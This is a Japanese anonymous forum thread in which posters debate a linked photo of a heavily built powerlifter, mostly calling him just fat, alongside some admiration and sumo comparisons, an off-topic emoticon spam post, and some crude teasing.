いい体だね。いいなぁー

バルクタイプのSG好きならこいつ
http://www.photohighway.co.jp/AlbumTop.asp?key=1456610&un=1693&m=0
スジ筋好きはだめかも。

うわっ！醜い！
マッチョ好きにでも駄目ぽ。

>>916
ん？ナチュラルバルクじゃん

>>916
汚い体だな。おまえ童貞だろｗ

うわー抱かれてーー！！男に興味ありませんか？

>>916
パワーリフターって・・・　デブだよ、ただの。

>>916
ただのデブやんｗ
やっぱミルコみたいな体がカコイイよ

肉団子だｗ

>>916
おれにとっては、これがやり過ぎってヤツだけど、
人の趣味にとやかく言うつもりは無い。

>>916
力皇みたいだな、すげー。

>>916はただのデブではないだろ？ミドテよりは体脂肪低そうだし。
ベンチはノーギアで軽く２００キロは挙げるだろう。

891ぐらいの変化ならポーズと写真のテクがあればそんなに難しくないと思った

ドウモ〜〜〜ッ！！お〜ｏ(⌒0⌒)ｏは〜♪ハジメマシテ〜〜〜ッ☆☆（*⌒ヮ⌒*）
私は２２歳のOLしてるのぉ〜〜〜っ♪（#⌒〇⌒#）キャハ
うーんとー、私メル友がすっごくすっごく欲しくってー、＼(⌒∇⌒)／
探してたら(◎_◎)なんσ(^_^)とっ！☆彡(ノ^^)ノ☆彡ヘ(^^ヘ)☆彡(ノ^^)ノ☆彡
素敵��(ﾟ□ﾟ；ハウッ！な掲示板♪を発見！！！！(^o^)//""" パチパチパチ
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これ全部１人の方が管理して ＼(^o^)／ いるんですか？（＠＠；）すごすぎ …
てなわけで、ついついσ(^_^)書いちゃったＣ= Ｃ= Ｃ= Ｃ=┌（^ .^）┘ のらー(o^v^o) エヘヘφ(｀∇´)φカキコカキコ♪
メル友に、なってσ(^_^)くれるよねっ。(*^-^*)　お・ね・が・い♪(*￣・￣)ちゅ♪ッ
え？くれないのぉ〜？(;¬_¬)そんなのいやい♪（#⌒〇⌒#）キャハ や〜〜、ｶﾞ━━━(ﾟﾛﾟ)━━━ﾝ
なってくれなかったら、( ｀_)乂(_´ ) 勝負！ まっちょキモィ＼(^o^)／
☆○（゜ο゜)ｏ ぱ〜んち、☆（゜o(○=（゜ο゜)ｏ バコ〜ン!!♪（#⌒〇⌒#）キャハ ( ﾟ▽ﾟ)=◯)`νﾟ)･;'パーンチ
（＞＿＜） いてっ！ダメ!! ゛o(≧◇≦*)oo(*≧◇≦)o″ダメ!!
(☆o☆)きゃ〜〜(@_@;)やられた〜〜(o_ _)o ドテッ　ガ━━（ﾟДﾟ;）━━ン！
(+_+) 気絶中。。。｡･ﾟﾟ･o(ｉДｉ)o･ﾟﾟ･｡うぇぇん <(゜ロ゜;)>ノォオオオオオ!!　��(ﾟ□ﾟ；ハウッ！
なあんて（#⌒▽⌒#）こんな♪（#⌒〇⌒#）キャハ 私っ！σ(^_^)だけど、（／／／▽／／／）
お友達σ(^_^)になってm(_ _)mくださいませませ♪('-'*)フフ　ﾄﾞｶﾞ━━━Σ(ll◎д◎ll)━━━━━ﾝ
ということで。(^-^)vじゃあね〜〜〜♪(⌒0⌒)／~~ ほんじゃo(゜▽゜ヽ)(/゜▽゜)o レッツゴー♪
それでは、今から他の掲示��(ﾟ□ﾟ；ハウッ！板も色々見てきまーすＣ= Ｃ= Ｃ= Ｃ=┌（^ .^）┘
（*＾-＾*）ﾉ~~ﾏﾀﾈｰ☆'.･*.･:★'.･*.･:☆'.･*.･:★

>>916はPAでも写真を晒してたナチュラルバルク氏だね

ある程度トシならわからんけど２４歳なんて若さじゃ元々かなりの巨体だったんだろうな
そういう人がウェイト主体（つーかほとんどそれだけ）のトレーニングするとこうなるって感じ

て言うか相撲取りの幕下以下ならみんなあんな感じだろｗ
本当は相撲部屋やめたばかりとか・・・

>>931
当たり前だが相撲取りはもっと脂肪たっぷりだよ
非勃起時はチンコ隠れてるのがデフォ

皮も脂肪たっぷりで神聖方形

序二段とかは、そんなデブはいないぞ、もともとのデブもいるが
先輩に死ぬ気でチャンコ食え！って言われて体でかくして幕内に入って
あの体だ、916位の体格はむしろ新人に見られるが

あのー>>916さんぐらい筋肉付くと、背中が痒いときとか手で掻けます？
足をかけるベンチなしで靴紐結べますか？

>>934
力士なんてデブばかり。ほとんどの奴が体脂肪が高くてタプタプ。

いくら扱えるウェイトの量が多くなろうと、>>916のような体にだけはなりたくない。
いい反面教師としたい。

そうだね。

>>916は三土手みたいなものだな。
なりたくはないけど、いくら努力したってなれないレベル。

>>916は太ればだれでもなれるレベル

>>940
絶対になれない。ノーギアベンチ２００キロ以上挙げそうだし。
全日本クラスの重量級リフターよりでかいぞ？